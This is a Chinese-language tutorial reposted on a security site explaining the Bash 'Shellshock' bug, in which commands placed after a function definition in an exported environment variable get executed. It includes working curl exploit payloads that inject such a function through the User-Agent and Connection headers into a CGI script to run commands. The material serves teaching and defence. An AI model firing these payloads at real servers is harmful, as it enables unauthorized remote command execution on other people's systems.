Linux下的Bash漏洞

admin 2024年10月18日23:19:28评论11 views字数 1301阅读4分20秒阅读模式

####################
免责声明:工具本身并无好坏,希望大家以遵守《网络安全法》相关法律为前提来使用该工具,支持研究学习,切勿用于非法犯罪活动,对于恶意使用该工具造成的损失,和本人及开发者无关。
####################

0x01 简介

bash的环境变量:环境变量是操作系统运行shell中的变量,很多程序的运行需要获取系统的环境变量参数。

具体赋值格式如下:

Copy
$mo="hello world"

然后你就可以使用这个变量了,但是只是局部变量,即是当前进程可以用,若当前进程的子进程或者其他进程需要用,需要用到 export 将本进程的变量 copy 到其他进程。

如果没加 export ,新建一个bash,再输出 $var 就不能获取环境变量:

Copy
$mo="hello bash"
$echo $mo
hello bash
$bash
$echo $mo

所以得加个 export,才可以成为全局环境变量

0x02 漏洞产生原理

2.1 bash函数

首先来简单理解一下bash的函数,bash是可以存在函数的:

Copy
$ foo(){ echo "hello coolshell"; }
$ foo
hello coolshell
$ bash
$ foo
bash: foo: command not found

与上面同理, 加个 export -f 就可以全局调用:

Copy
$ foo(){ echo "hello coolshell"; }
$ foo
hello coolshell
$ export -f foo
$ bash
$ foo
hello coolshell

2.2 bash的bug

先看如下测试代码:

Copy
$export X='() { echo "inside X"; }; echo "outside X";'

#用env 查看创建出来的环境变量
$env
X=(){ echo "inside X"; }; echo "outside X";

当我们在当前的 bash shell 进程下产生一个 bash 的子进程时,新的子进程会读取父进程的所有 export 的环境变量,并复制到自己的进程空间中,很明显,上面的X变量的函数的后面还注入了一条命令:echo “outside X”,这条命令会在父进程向子进程复制的过程中被执行。

Copy
$export X='() { echo "inside X"; }; echo "outside X";'
$bash
outside X

这就是 bash 的 bug —— 函数体外面的代码被默认地执行了

0x03 漏洞实践

当目标网站中存在任意 bash 文件时,可以尝试利用此 bash 漏洞,案例如下 cgi-bin 目录下的 poc.cgi 文件:

Linux下的Bash漏洞

通过 HTTP 构造恶意请求:

Copy
#修改请求头中的 User-Agent
curl -A '() { :; }; echo -e "rn";/bin/ls -la' http://x.x.x.x:40765/cgi-bin/poc.cgi

#添加 Connection 请求头
curl -H 'Connection:() { :; }; echo -e "rn";/bin/ls -la' http://x.x.x.x:40765/cgi-bin/poc.cgi

Linux下的Bash漏洞

原文始发于微信公众号(菜鸟小新):Linux下的Bash漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月18日23:19:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux下的Bash漏洞https://cn-sec.com/archives/1879221.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息